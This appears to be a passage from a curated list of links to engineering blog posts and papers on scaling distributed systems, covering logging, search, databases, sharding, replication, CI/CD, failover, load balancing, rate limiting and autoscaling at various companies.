* [Logging Service with Spark at CERN Accelerator](https://databricks.com/blog/2017/12/14/the-architecture-of-the-next-cern-accelerator-logging-service.html)
* [Logging and Aggregation at Quora](https://engineering.quora.com/Logging-and-Aggregation-at-Quora)
* [Collection and Analysis of Daemon Logs at Badoo](https://badoo.com/techblog/blog/2016/06/06/collection-and-analysis-of-daemon-logs-at-badoo/)
* [Log Parsing with Static Code Analysis at Palantir](https://medium.com/palantir/using-static-code-analysis-to-improve-log-parsing-18f0d1843965)
* [Centralized Application Logging at eBay](https://tech.ebayinc.com/engineering/low-latency-and-high-throughput-cal-ingress/)
* [Enrich VPC Flow Logs at Hyper Scale to provide Network Insight at Netflix](https://netflixtechblog.com/hyper-scale-vpc-flow-logs-enrichment-to-provide-network-insight-e5f1db02910d)
* [BookKeeper: Distributed Log Storage at Yahoo](https://yahooeng.tumblr.com/post/109908973316/bookkeeper-yahoos-distributed-log-storage-is)
* [LogDevice: Distributed Data Store for Logs at Facebook](https://code.facebook.com/posts/357056558062811/logdevice-a-distributed-data-store-for-logs/)
* [LogFeeder: Log Collection System at Yelp](https://engineeringblog.yelp.com/2018/03/introducing-logfeeder.html)
* [DBLog: Generic Change-Data-Capture Framework at Netflix](https://medium.com/netflix-techblog/dblog-a-generic-change-data-capture-framework-69351fb9099b)
* [Distributed Searching](http://nwds.cs.washington.edu/files/nwds/pdf/Distributed-WR.pdf)
* [Search Architecture at Instagram](https://instagram-engineering.com/search-architecture-eeb34a936d3a)
* [Search Architecture at eBay](http://www.cs.otago.ac.nz/homepages/andrew/papers/2017-8.pdf)
* [Search Architecture at Box](https://medium.com/box-tech-blog/scaling-box-search-using-lumos-22d9e0cb4175)
* [Search Discovery Indexing Platform at Coupang](https://medium.com/coupang-tech/the-evolution-of-search-discovery-indexing-platform-fa43e41305f9)
* [Universal Search System at Pinterest](https://medium.com/pinterest-engineering/building-a-universal-search-system-for-pinterest-e4cb03a898d4)
* [Improving Search Engine Efficiency by over 25% at eBay](https://www.ebayinc.com/stories/blogs/tech/making-e-commerce-search-faster/)
* [Indexing and Querying Telemetry Logs with Lucene at Palantir](https://medium.com/palantir/indexing-and-querying-telemetry-logs-with-lucene-234c5ce3e5f3)
* [Query Understanding at TripAdvisor](https://www.tripadvisor.com/engineering/query-understanding-at-tripadvisor/)
* [Search Federation Architecture at LinkedIn (2018)](https://engineering.linkedin.com/blog/2018/03/search-federation-architecture-at-linkedin)
* [Search at Slack](https://slack.engineering/search-at-slack-431f8c80619e)
* [Search and Recommendations at DoorDash](https://blog.doordash.com/powering-search-recommendations-at-doordash-8310c5cfd88c)
* [Stability and Scalability for Search at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2022/stability-and-scalability-for-search)
* [Search Service at Twitter (2014)](https://blog.twitter.com/engineering/en_us/a/2014/building-a-complete-tweet-index.html)
* [Autocomplete Search (2 parts) at Traveloka](https://medium.com/traveloka-engineering/high-quality-autocomplete-search-part-2-d5b15bb0dadf)
* [Data-Driven Autocorrection System at Canva](https://product.canva.com/building-a-data-driven-autocorrection-system/)
* [Adapting Search to Indian Phonetics at Flipkart](https://blog.flipkart.tech/adapting-search-to-indian-phonetics-cdbe65259686)
* [Nautilus: Search Engine at Dropbox](https://blogs.dropbox.com/tech/2018/09/architecture-of-nautilus-the-new-dropbox-search-engine/)
* [Galene: Search Architecture of LinkedIn](https://engineering.linkedin.com/search/did-you-mean-galene)
* [Manas: High Performing Customized Search System at Pinterest](https://medium.com/@Pinterest_Engineering/manas-a-high-performing-customized-search-system-cf189f6ca40f)
* [Sherlock: Near Real Time Search Indexing at Flipkart](https://blog.flipkart.tech/sherlock-near-real-time-search-indexing-95519783859d)
* [Nebula: Storage Platform to Build Search Backends at Airbnb](https://medium.com/airbnb-engineering/nebula-as-a-storage-platform-to-build-airbnbs-search-backends-ecc577b05f06)
* [ELK (Elasticsearch, Logstash, Kibana) Stack](https://logz.io/blog/15-tech-companies-chose-elk-stack/)
* [Predictions in Real Time with ELK at Uber](https://eng.uber.com/elk/)
* [Building a scalable ELK stack at Envato](https://webuild.envato.com/blog/building-a-scalable-elk-stack/)
* [ELK at Robinhood](https://robinhood.engineering/taming-elk-4e1349f077c3)
* [Scaling Elasticsearch Clusters at Uber](https://www.infoq.com/presentations/uber-elasticsearch-clusters?utm_source=presentations_about_Case_Study&utm_medium=link&utm_campaign=Case_Study)
* [Elasticsearch Performance Tuning Practice at eBay](https://www.ebayinc.com/stories/blogs/tech/elasticsearch-performance-tuning-practice-at-ebay/)
* [Improve Performance using Elasticsearch Plugins (2 parts) at Tinder](https://medium.com/tinder-engineering/how-we-improved-our-performance-using-elasticsearch-plugins-part-2-b051da2ee85b)
* [Elasticsearch at Kickstarter](https://kickstarter.engineering/elasticsearch-at-kickstarter-db3c487887fc)
* [Log Parsing with Logstash and Google Protocol Buffers at Trivago](https://tech.trivago.com/2016/01/19/logstash_protobuf_codec/)
* [Fast Order Search using Data Pipeline and Elasticsearch at Yelp](https://engineeringblog.yelp.com/2018/06/fast-order-search.html)
* [Moving Core Business Search to Elasticsearch at Yelp](https://engineeringblog.yelp.com/2017/06/moving-yelps-core-business-search-to-elasticsearch.html)
* [Sharding out Elasticsearch at Vinted](http://engineering.vinted.com/2017/06/05/sharding-out-elasticsearch/)
* [Self-Ranking Search with Elasticsearch at Wattpad](http://engineering.wattpad.com/post/146216619727/self-ranking-search-with-elasticsearch-at-wattpad)
* [Vulcanizer: a library for operating Elasticsearch at Github](https://github.blog/2019-03-05-vulcanizer-a-library-for-operating-elasticsearch/)
* [Distributed Storage](http://highscalability.com/blog/2011/11/1/finding-the-right-data-solution-for-your-application-in-the.html)
* [In-memory Storage](https://medium.com/@denisanikin/what-an-in-memory-database-is-and-how-it-persists-data-efficiently-f43868cff4c1)
* [MemSQL Architecture - The Fast (MVCC, InMem, LockFree, CodeGen) And Familiar (SQL)](http://highscalability.com/blog/2012/8/14/memsql-architecture-the-fast-mvcc-inmem-lockfree-codegen-and.html)
* [Optimizing Memcached Efficiency at Quora](https://engineering.quora.com/Optimizing-Memcached-Efficiency)
* [Real-Time Data Warehouse with MemSQL on Cisco UCS](https://blogs.cisco.com/datacenter/memsql)
* [Moving to MemSQL at Tapjoy](http://eng.tapjoy.com/blog-list/moving-to-memsql)
* [MemSQL and Kinesis for Real-time Insights at Disney](https://conferences.oreilly.com/strata/strata-ca/public/schedule/detail/68131)
* [MemSQL to Query Hundreds of Billions of Rows in a Dashboard at Pandora](https://engineering.pandora.com/using-memsql-at-pandora-79a86cb09b57)
* [Object Storage](http://www.datacenterknowledge.com/archives/2013/10/04/object-storage-the-future-of-scale-out)
* [Scaling HDFS at Uber](https://eng.uber.com/scaling-hdfs/)
* [Reasons for Choosing S3 over HDFS at Databricks](https://databricks.com/blog/2017/05/31/top-5-reasons-for-choosing-s3-over-hdfs.html)
* [File System on Amazon S3 at Quantcast](https://www.quantcast.com/blog/quantcast-file-system-on-amazon-s3/)
* [Image Recovery at Scale Using S3 Versioning at Trivago](https://tech.trivago.com/2018/09/03/efficient-image-recovery-at-scale-using-amazon-s3-versioning/)
* [Cloud Object Store at Yahoo](https://yahooeng.tumblr.com/post/116391291701/yahoo-cloud-object-store-object-storage-at)
* [Ambry: Distributed Immutable Object Store at LinkedIn](https://www.usenix.org/conference/srecon17americas/program/presentation/shenoy)
* [Dynamometer: Scale Testing HDFS on Minimal Hardware with Maximum Fidelity at LinkedIn](https://engineering.linkedin.com/blog/2018/02/dynamometer--scale-testing-hdfs-on-minimal-hardware-with-maximum)
* [Hammerspace: Persistent, Concurrent, Off-heap Storage at Airbnb](https://medium.com/airbnb-engineering/hammerspace-persistent-concurrent-off-heap-storage-3db39bb04472)
* [MezzFS: Mounting Object Storage in Media Processing Platform at Netflix](https://medium.com/netflix-techblog/mezzfs-mounting-object-storage-in-netflixs-media-processing-platform-cda01c446ba)
* [Magic Pocket: In-house Multi-exabyte Storage System at Dropbox](https://blogs.dropbox.com/tech/2016/05/inside-the-magic-pocket/)
* [Relational Databases](https://www.mysql.com/products/cluster/scalability.html)
* [MySQL for Schema-less Data at FriendFeed](https://backchannel.org/blog/friendfeed-schemaless-mysql)
* [MySQL at Pinterest](https://medium.com/@Pinterest_Engineering/learn-to-stop-using-shiny-new-things-and-love-mysql-3e1613c2ce14)
* [PostgreSQL at Twitch](https://blog.twitch.tv/how-twitch-uses-postgresql-c34aa9e56f58)
* [Scaling MySQL-based Financial Reporting System at Airbnb](https://medium.com/airbnb-engineering/tracking-the-money-scaling-financial-reporting-at-airbnb-6d742b80f040)
* [Scaling MySQL at Wix](https://www.wix.engineering/post/scaling-to-100m-mysql-is-a-better-nosql)
* [MaxScale (MySQL) Database Proxy at Airbnb](https://medium.com/airbnb-engineering/unlocking-horizontal-scalability-in-our-web-serving-tier-d907449cdbcf)
* [Switching from Postgres to MySQL at Uber](https://eng.uber.com/mysql-migration/)
* [Handling Growth with Postgres at Instagram](https://engineering.instagram.com/handling-growth-with-postgres-5-tips-from-instagram-d5d7e7ffdfcb)
* [Scaling the Analytics Database (Postgres) at TransferWise](http://tech.transferwise.com/scaling-our-analytics-database/)
* [Updating a 50 Terabyte PostgreSQL Database at Adyen](https://medium.com/adyen/updating-a-50-terabyte-postgresql-database-f64384b799e7)
* [Scaling Database Access for 100s of Billions of Queries per Day at PayPal](https://medium.com/paypal-engineering/scaling-database-access-for-100s-of-billions-of-queries-per-day-paypal-introducing-hera-e192adacda54)
* [Minimizing Read-Write MySQL Downtime at Yelp](https://engineeringblog.yelp.com/2020/11/minimizing-read-write-mysql-downtime.html)
* [Migrating MySQL from 5.6 to 8.0 at Facebook](https://engineering.fb.com/2021/07/22/data-infrastructure/mysql/)
* [Migration from HBase to MyRocks at Quora](https://quoraengineering.quora.com/Migration-from-HBase-to-MyRocks-at-Quora)
* [Replication](https://docs.microsoft.com/en-us/sql/relational-databases/replication/types-of-replication)
* [MySQL Parallel Replication (4 parts) at Booking.com](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-4-annex-under-the-hood-eb456cf8b2fb)
* [Mitigating MySQL Replication Lag and Reducing Read Load at Github](https://githubengineering.com/mitigating-replication-lag-and-reducing-read-load-with-freno/)
* [Read Consistency with Database Replicas at Shopify](https://shopify.engineering/read-consistency-database-replicas)
* [Black-Box Auditing: Verifying End-to-End Replication Integrity between MySQL and Redshift at Yelp](https://engineeringblog.yelp.com/2018/04/black-box-auditing.html)
* [Partitioning Main MySQL Database at Airbnb](https://medium.com/airbnb-engineering/how-we-partitioned-airbnb-s-main-database-in-two-weeks-55f7e006ff21)
* [Herb: Multi-DC Replication Engine for Schemaless Datastore at Uber](https://eng.uber.com/herb-datacenter-replication/)
* [Sharding](https://quabase.sei.cmu.edu/mediawiki/index.php/Shard_data_set_across_multiple_servers_(Range-based))
* [Sharding MySQL at Pinterest](https://medium.com/@Pinterest_Engineering/sharding-pinterest-how-we-scaled-our-mysql-fleet-3f341e96ca6f)
* [Sharding MySQL at Twilio](https://www.twilio.com/engineering/2014/06/26/how-we-replaced-our-data-pipeline-with-zero-downtime)
* [Sharding MySQL at Square](https://medium.com/square-corner-blog/sharding-cash-10280fa3ef3b)
* [Sharding MySQL at Quora](https://www.quora.com/q/quoraengineering/MySQL-sharding-at-Quora)
* [Sharding Layer of Schemaless Datastore at Uber](https://eng.uber.com/schemaless-rewrite/)
* [Sharding & IDs at Instagram](https://instagram-engineering.com/sharding-ids-at-instagram-1cf5a71e5a5c)
* [Sharding Postgres at Notion](https://www.notion.so/blog/sharding-postgres-at-notion)
* [Solr: Improving Performance for Batch Indexing at Box](https://blog.box.com/blog/solr-improving-performance-batch-indexing/)
* [Geosharded Recommendations (3 parts) at Tinder](https://medium.com/tinder-engineering/geosharded-recommendations-part-3-consistency-2d2cb2f0594b)
* [Scaling Services with Shard Manager at Facebook](https://engineering.fb.com/production-engineering/scaling-services-with-shard-manager/)
* [Presto the Distributed SQL Query Engine](https://research.fb.com/wp-content/uploads/2019/03/Presto-SQL-on-Everything.pdf?)
* [Presto at Pinterest](https://medium.com/@Pinterest_Engineering/presto-at-pinterest-a8bda7515e52)
* [Presto Infrastructure at Lyft](https://eng.lyft.com/presto-infrastructure-at-lyft-b10adb9db01)
* [Presto at Grab](https://engineering.grab.com/scaling-like-a-boss-with-presto)
* [Engineering Data Analytics with Presto and Apache Parquet at Uber](https://eng.uber.com/presto/)
* [Data Wrangling at Slack](https://slack.engineering/data-wrangling-at-slack-f2e0ff633b69)
* [Presto in Big Data Platform on AWS at Netflix](https://medium.com/netflix-techblog/using-presto-in-our-big-data-platform-on-aws-938035909fd4)
* [Presto Auto Scaling at Eventbrite](https://www.eventbrite.com/engineering/big-data-workloads-presto-auto-scaling/)
* [Speed Up Presto with Alluxio Local Cache at Uber](https://www.uber.com/en-MY/blog/speed-up-presto-with-alluxio-local-cache/)
* [NoSQL Databases](https://www.thoughtworks.com/insights/blog/nosql-databases-overview)
* [Key-Value Databases](http://www.cs.ucsb.edu/~agrawal/fall2009/dynamo.pdf)
* [DynamoDB at Nike](https://medium.com/nikeengineering/becoming-a-nimble-giant-how-dynamo-db-serves-nike-at-scale-4cc375dbb18e)
* [DynamoDB at Segment](https://segment.com/blog/the-million-dollar-eng-problem/)
* [DynamoDB at Mapbox](https://blog.mapbox.com/scaling-mapbox-infrastructure-with-dynamodb-streams-d53eabc5e972)
* [Manhattan: Distributed Key-Value Database at Twitter](https://blog.twitter.com/engineering/en_us/a/2014/manhattan-our-real-time-multi-tenant-distributed-database-for-twitter-scale.html)
* [Sherpa: Distributed NoSQL Key-Value Store at Yahoo](https://yahooeng.tumblr.com/post/120730204806/sherpa-scales-new-heights)
* [HaloDB: Embedded Key-Value Storage Engine at Yahoo](https://yahooeng.tumblr.com/post/178262468576/introducing-halodb-a-fast-embedded-key-value)
* [MPH: Fast and Compact Immutable Key-Value Stores at Indeed](http://engineering.indeedblog.com/blog/2018/02/indeed-mph/)
* [Venice: Distributed Key-Value Database at Linkedin](https://engineering.linkedin.com/blog/2017/02/building-venice-with-apache-helix)
* [Columnar Databases](https://aws.amazon.com/nosql/columnar/)
* [Cassandra](http://www.cs.cornell.edu/projects/ladis2009/papers/lakshman-ladis2009.pdf)
* [Cassandra at Instagram](https://www.slideshare.net/DataStax/cassandra-at-instagram-2016)
* [Storing Images in Cassandra at Walmart](https://medium.com/walmartlabs/building-object-store-storing-images-in-cassandra-walmart-scale-a6b9c02af593)
* [Storing Messages with Cassandra at Discord](https://blog.discordapp.com/how-discord-stores-billions-of-messages-7fa6ec7ee4c7)
* [Scaling Cassandra Cluster at Walmart](https://medium.com/walmartlabs/avoid-pitfalls-in-scaling-your-cassandra-cluster-lessons-and-remedies-a71ca01f8c04)
* [Scaling Ad Analytics with Cassandra at Yelp](https://engineeringblog.yelp.com/2016/08/how-we-scaled-our-ad-analytics-with-cassandra.html)
* [Scaling to 100+ Million Reads/Writes using Spark and Cassandra at Dream11](https://medium.com/dream11-tech-blog/leaderboard-dream11-4efc6f93c23e)
* [Moving Food Feed from Redis to Cassandra at Zomato](https://www.zomato.com/blog/how-we-moved-our-food-feed-from-redis-to-cassandra)
* [Benchmarking Cassandra Scalability on AWS at Netflix](https://medium.com/netflix-techblog/benchmarking-cassandra-scalability-on-aws-over-a-million-writes-per-second-39f45f066c9e)
* [Service Decomposition at Scale with Cassandra at Intuit QuickBooks](https://quickbooks-engineering.intuit.com/service-decomposition-at-scale-70405ac2f637)
* [Cassandra for Keeping Counts In Sync at SoundCloud](https://developers.soundcloud.com/blog/keeping-counts-in-sync)
* [Cassandra Driver Configuration for Improved Performance and Load Balancing at Glassdoor](https://medium.com/glassdoor-engineering/cassandra-driver-configuration-for-improved-performance-and-load-balancing-1b0106ce12bb)
* [cstar: Cassandra Orchestration Tool at Spotify](https://labs.spotify.com/2018/09/04/introducing-cstar-the-spotify-cassandra-orchestration-tool-now-open-source/)
* [HBase](https://hbase.apache.org/)
* [HBase at Salesforce](https://engineering.salesforce.com/investing-in-big-data-apache-hbase-b9d98661a66b)
* [HBase in Facebook Messages](https://www.facebook.com/notes/facebook-engineering/the-underlying-technology-of-messages/454991608919/)
* [HBase in Imgur Notification](https://blog.imgur.com/2015/09/15/tech-tuesday-imgur-notifications-from-mysql-to-hbase/)
* [Improving HBase Backup Efficiency at Pinterest](https://medium.com/@Pinterest_Engineering/improving-hbase-backup-efficiency-at-pinterest-86159da4b954)
* [HBase at Xiaomi](https://www.slideshare.net/HBaseCon/hbase-practice-at-xiaomi)
* [Redshift](https://www.allthingsdistributed.com/2018/11/amazon-redshift-performance-optimization.html)
* [Redshift at GIPHY](https://engineering.giphy.com/scaling-redshift-without-scaling-costs/)
* [Redshift at Hudl](https://www.hudl.com/bits/the-low-hanging-fruit-of-redshift-performance)
* [Redshift at Drivy](https://drivy.engineering/redshift_tips_ticks_part_1/)
* [Document Databases](https://msdn.microsoft.com/en-us/magazine/hh547103.aspx)
* [eBay: Building Mission-Critical Multi-Data Center Applications with MongoDB](https://www.mongodb.com/blog/post/ebay-building-mission-critical-multi-data-center-applications-with-mongodb)
* [MongoDB at Baidu: Multi-Tenant Cluster Storing 200+ Billion Documents across 160 Shards](https://www.mongodb.com/blog/post/mongodb-at-baidu-powering-100-apps-across-600-nodes-at-pb-scale)
* [Migrating Mongo Data at Addepar](https://medium.com/build-addepar/migrating-mountains-of-mongo-data-63e530539952)
* [The AWS and MongoDB Infrastructure of Parse (acquired by Facebook)](https://medium.baqend.com/parse-is-gone-a-few-secrets-about-their-infrastructure-91b3ab2fcf71)
* [Migrating Mountains of Mongo Data at Addepar](https://medium.com/build-addepar/migrating-mountains-of-mongo-data-63e530539952)
* [Couchbase Ecosystem at LinkedIn](https://engineering.linkedin.com/blog/2017/12/couchbase-ecosystem-at-linkedin)
* [SimpleDB at Zendesk](https://medium.com/zendesk-engineering/resurrecting-amazon-simpledb-9404034ec506)
* [Espresso: Distributed Document Store at LinkedIn](https://engineering.linkedin.com/espresso/introducing-espresso-linkedins-hot-new-distributed-document-store)
* [Graph Databases](https://www.eecs.harvard.edu/margo/papers/systor13-bench/)
* [FlockDB: Distributed Graph Database at Twitter](https://blog.twitter.com/engineering/en_us/a/2010/introducing-flockdb.html)
* [TAO: Distributed Data Store for the Social Graph at Facebook](https://www.cs.cmu.edu/~pavlo/courses/fall2013/static/papers/11730-atc13-bronson.pdf)
* [Akutan: Distributed Knowledge Graph Store at eBay](https://tech.ebayinc.com/engineering/akutan-a-distributed-knowledge-graph-store/)
* [Time Series Databases](https://www.influxdata.com/time-series-database/)
* [Beringei: High-performance Time Series Storage Engine at Facebook](https://code.facebook.com/posts/952820474848503/beringei-a-high-performance-time-series-storage-engine/)
* [MetricsDB: TimeSeries Database for storing metrics at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2019/metricsdb.html)
* [Atlas: In-memory Dimensional Time Series Database at Netflix](https://medium.com/netflix-techblog/introducing-atlas-netflixs-primary-telemetry-platform-bd31f4d8ed9a)
* [Heroic: Time Series Database at Spotify](https://labs.spotify.com/2015/11/17/monitoring-at-spotify-introducing-heroic/)
* [Roshi: Distributed Storage System for Time-Series Event at SoundCloud](https://developers.soundcloud.com/blog/roshi-a-crdt-system-for-timestamped-events)
* [Goku: Time Series Database at Pinterest](https://medium.com/@Pinterest_Engineering/goku-building-a-scalable-and-high-performant-time-series-database-system-a8ff5758a181)
* [Scaling Time Series Data Storage (2 parts) at Netflix](https://medium.com/netflix-techblog/scaling-time-series-data-storage-part-ii-d67939655586)
* [Druid - Real-time Analytics Database](https://druid.apache.org/)
* [Druid at Airbnb](https://medium.com/airbnb-engineering/druid-airbnb-data-platform-601c312f2a4c)
* [Druid at Walmart](https://medium.com/walmartlabs/event-stream-analytics-at-walmart-with-druid-dcf1a37ceda7)
* [Druid at eBay](https://tech.ebayinc.com/engineering/monitoring-at-ebay-with-druid/)
* [Druid at Netflix](https://netflixtechblog.com/how-netflix-uses-druid-for-real-time-insights-to-ensure-a-high-quality-experience-19e1e8568d06)
* [Distributed Repositories, Dependencies, and Configurations Management](https://betterexplained.com/articles/intro-to-distributed-version-control-illustrated/)
* [DGit: Distributed Git at Github](https://githubengineering.com/introducing-dgit/)
* [Stemma: Distributed Git Server at Palantir](https://medium.com/@palantir/stemma-distributed-git-server-70afbca0fc29)
* [Configuration Management for Distributed Systems at Flickr](https://code.flickr.net/2016/03/24/configuration-management-for-distributed-systems-using-github-and-cfg4j/)
* [Git Repository at Microsoft](https://blogs.msdn.microsoft.com/bharry/2017/05/24/the-largest-git-repo-on-the-planet/)
* [Solve Git Problem with Large Repositories at Microsoft](https://www.infoq.com/news/2017/02/GVFS)
* [Single Repository at Google](https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext)
* [Scaling Infrastructure and (Git) Workflow at Adyen](https://medium.com/adyen/from-0-100-billion-scaling-infrastructure-and-workflow-at-adyen-7b63b690dfb6)
* [Dotfiles Distribution at Booking.com](https://medium.com/booking-com-infrastructure/dotfiles-distribution-dedb69c66a75)
* [Secret Detector: Preventing Secrets in Source Code at Yelp](https://engineeringblog.yelp.com/2018/06/yelps-secret-detector.html)
* [Managing Software Dependency at Scale at LinkedIn](https://engineering.linkedin.com/blog/2018/09/managing-software-dependency-at-scale)
* [Merging Code in High-velocity Repositories at LinkedIn](https://engineering.linkedin.com/blog/2020/continuous-integration)
* [Dynamic Configuration at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2018/dynamic-configuration-at-twitter.html)
* [Dynamic Configuration at Mixpanel](https://medium.com/mixpaneleng/dynamic-configuration-at-mixpanel-94bfcf97d6b8)
* [Dynamic Configuration at GoDaddy](https://sg.godaddy.com/engineering/2019/03/06/dynamic-configuration-for-nodejs/)
* [Scaling Continuous Integration and Continuous Delivery](https://www.synopsys.com/blogs/software-security/agile-cicd-devops-glossary/)
* [Continuous Integration Stack at Facebook](https://code.fb.com/web/rapid-release-at-massive-scale/)
* [Continuous Integration with Distributed Repositories and Dependencies at Netflix](https://medium.com/netflix-techblog/towards-true-continuous-integration-distributed-repositories-and-dependencies-2a2e3108c051)
* [Continuous Integration and Deployment with Bazel at Dropbox](https://blogs.dropbox.com/tech/2019/12/continuous-integration-and-deployment-with-bazel/)
* [Continuous Deployments at BuzzFeed](https://tech.buzzfeed.com/continuous-deployments-at-buzzfeed-d171f76c1ac4)
* [Screwdriver: Continuous Delivery Build System for Dynamic Infrastructure at Yahoo](https://yahooeng.tumblr.com/post/155765242061/open-sourcing-screwdriver-yahoos-continuous)
* [CI/CD at Betterment](https://www.betterment.com/resources/ci-cd-shortening-the-feedback-loop/)
* [CI/CD at Brainly](https://medium.com/engineering-brainly/ci-cd-at-scale-fdfb0f49e031)
* [Scaling iOS CI with Anka at Shopify](https://engineering.shopify.com/blogs/engineering/scaling-ios-ci-with-anka)
* [Scaling Jira Server at Yelp](https://engineeringblog.yelp.com/2019/04/Scaling-Jira-Server-Administration-For-The-Enterprise.html)
* [Auto-scaling CI/CD cluster at Flexport](https://flexport.engineering/how-flexport-halved-testing-costs-with-an-auto-scaling-ci-cd-cluster-8304297222f)
## Availability
* [Resilience Engineering: Learning to Embrace Failure](https://queue.acm.org/detail.cfm?id=2371297)
* [Resilience Engineering with Project Waterbear at LinkedIn](https://engineering.linkedin.com/blog/2017/11/resilience-engineering-at-linkedin-with-project-waterbear)
* [Resiliency against Traffic Oversaturation at iHeartRadio](https://tech.iheart.com/resiliency-against-traffic-oversaturation-77c5ed92a5fb)
* [Resiliency in Distributed Systems at GO-JEK](https://blog.gojekengineering.com/resiliency-in-distributed-systems-efd30f74baf4)
* [Practical NoSQL Resilience Design Pattern for the Enterprise at eBay](https://www.ebayinc.com/stories/blogs/tech/practical-nosql-resilience-design-pattern-for-the-enterprise/)
* [Ensuring Resilience to Disaster at Quora](https://engineering.quora.com/Ensuring-Quoras-Resilience-to-Disaster)
* [Site Resiliency at Expedia](https://www.infoq.com/presentations/expedia-website-resiliency?utm_source=presentations_about_Case_Study&utm_medium=link&utm_campaign=Case_Study)
* [Resiliency and Disaster Recovery with Kafka at eBay](https://tech.ebayinc.com/engineering/resiliency-and-disaster-recovery-with-kafka/)
* [Disaster Recovery for Multi-Region Kafka at Uber](https://eng.uber.com/kafka/)
* [Failover](http://cloudpatterns.org/mechanisms/failover_system)
* [The Evolution of Global Traffic Routing and Failover](https://www.usenix.org/conference/srecon16/program/presentation/heady)
* [Testing for Disaster Recovery Failover Testing](https://www.usenix.org/conference/srecon17asia/program/presentation/liu_zehua)
* [Designing a Microservices Architecture for Failure](https://blog.risingstack.com/designing-microservices-architecture-for-failure/)
* [ELB for Automatic Failover at GoSquared](https://engineering.gosquared.com/use-elb-automatic-failover)
* [Eliminate the Database for Higher Availability at American Express](http://americanexpress.io/eliminate-the-database-for-higher-availability/)
* [Failover with Redis Sentinel at Vinted](http://engineering.vinted.com/2015/09/03/failover-with-redis-sentinel/)
* [High-availability SaaS Infrastructure at FreeAgent](http://engineering.freeagent.com/2017/02/06/ha-infrastructure-without-breaking-the-bank/)
* [MySQL High Availability at GitHub](https://github.blog/2018-06-20-mysql-high-availability-at-github/)
* [MySQL High Availability at Eventbrite](https://www.eventbrite.com/engineering/mysql-high-availability-at-eventbrite/)
* [Business Continuity & Disaster Recovery at Walmart](https://medium.com/walmartlabs/business-continuity-disaster-recovery-in-the-microservices-world-ef2adca363df)
* [Load Balancing](https://blog.vivekpanyam.com/scaling-a-web-service-load-balancing/)
* [Introduction to Modern Network Load Balancing and Proxying](https://blog.envoyproxy.io/introduction-to-modern-network-load-balancing-and-proxying-a57f6ff80236)
* [Top Five (Load Balancing) Scalability Patterns](https://www.f5.com/company/blog/top-five-scalability-patterns)
* [Load Balancing infrastructure to support more than 1.3 billion users at Facebook](https://www.usenix.org/conference/srecon15europe/program/presentation/shuff)
* [DHCPLB: DHCP Load Balancer at Facebook](https://code.facebook.com/posts/1734309626831603/dhcplb-an-open-source-load-balancer/)
* [Katran: Scalable Network Load Balancer at Facebook](https://code.facebook.com/posts/1906146702752923/open-sourcing-katran-a-scalable-network-load-balancer/)
* [Deterministic Aperture: A Distributed, Load Balancing Algorithm at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2019/daperture-load-balancer.html)
* [Load Balancing with Eureka at Netflix](https://medium.com/netflix-techblog/netflix-shares-cloud-load-balancing-and-failover-tool-eureka-c10647ef95e5)
* [Edge Load Balancing at Netflix](https://medium.com/netflix-techblog/netflix-edge-load-balancing-695308b5548c)
* [Zuul 2: Cloud Gateway at Netflix](https://medium.com/netflix-techblog/open-sourcing-zuul-2-82ea476cb2b3)
* [Load Balancing at Yelp](https://engineeringblog.yelp.com/2017/05/taking-zero-downtime-load-balancing-even-further.html)
* [Load Balancing at Github](https://githubengineering.com/introducing-glb/)
* [Consistent Hashing to Improve Load Balancing at Vimeo](https://medium.com/vimeo-engineering-blog/improving-load-balancing-with-a-new-consistent-hashing-algorithm-9f1bd75709ed)
* [UDP Load Balancing at 500 pixel](https://developers.500px.com/udp-load-balancing-with-keepalived-167382d7ad08)
* [QALM: QoS Load Management Framework at Uber](https://eng.uber.com/qalm/)
* [Traffic Steering using Rum DNS at LinkedIn](https://www.usenix.org/conference/srecon17europe/program/presentation/rastogi)
* [Traffic Infrastructure (Edge Network) at Dropbox](https://blogs.dropbox.com/tech/2018/10/dropbox-traffic-infrastructure-edge-network/)
* [Intelligent DNS based load balancing at Dropbox](https://blogs.dropbox.com/tech/2020/01/intelligent-dns-based-load-balancing-at-dropbox/)
* [Monitor DNS systems at Stripe](https://stripe.com/en-sg/blog/secret-life-of-dns)
* [Multi-DNS Architecture (3 parts) at Monday](https://medium.com/monday-engineering/how-and-why-we-migrated-our-dns-from-cloudflare-to-a-multi-dns-architecture-part-3-584a470f4062)
* [Dynamic Anycast DNS Infrastructure at Hulu](https://medium.com/hulu-tech-blog/building-hulus-dynamic-anycast-dns-infrastructure-985a7a11fd30)
* [Rate Limiting](https://www.keycdn.com/support/rate-limiting/)
* [Rate Limiting for Scaling to Millions of Domains at Cloudflare](https://blog.cloudflare.com/counting-things-a-lot-of-different-things/)
* [Cloud Bouncer: Distributed Rate Limiting at Yahoo](https://yahooeng.tumblr.com/post/111288877956/cloud-bouncer-distributed-rate-limiting-at-yahoo)
* [Scaling API with Rate Limiters at Stripe](https://stripe.com/blog/rate-limiters)
* [Distributed Rate Limiting at Allegro](https://allegro.tech/2017/04/hermes-max-rate.html)
* [Ratequeue: Core Queueing-And-Rate-Limiting System at Twilio](https://www.twilio.com/blog/2017/11/chaos-engineering-ratequeue-ha.html)
* [Quotas Service at Grab](https://engineering.grab.com/quotas-service)
* [Autoscaling](https://medium.com/@BotmetricHQ/top-11-hard-won-lessons-learned-about-aws-auto-scaling-5bfe56da755f)
* [Autoscaling Pinterest](https://medium.com/@Pinterest_Engineering/auto-scaling-pinterest-df1d2beb4d64)
* [Autoscaling Based on Request Queuing at Square](https://medium.com/square-corner-blog/autoscaling-based-on-request-queuing-c4c0f57f860f)
* [Autoscaling Jenkins at Trivago](http://tech.trivago.com/2017/02/17/your-definite-guide-for-autoscaling-jenkins/)
* [Autoscaling Pub-Sub Consumers at Spotify](https://labs.spotify.com/2017/11/20/autoscaling-pub-sub-consumers/)
* [Autoscaling Bigtable Clusters based on CPU Load at Spotify](https://labs.spotify.com/2018/12/18/bigtable-autoscaler-saving-money-and-time-using-managed-storage/)
* [Autoscaling AWS Step Functions Activities at Yelp](https://engineeringblog.yelp.com/2019/06/autoscaling-aws-step-functions-activities.html)
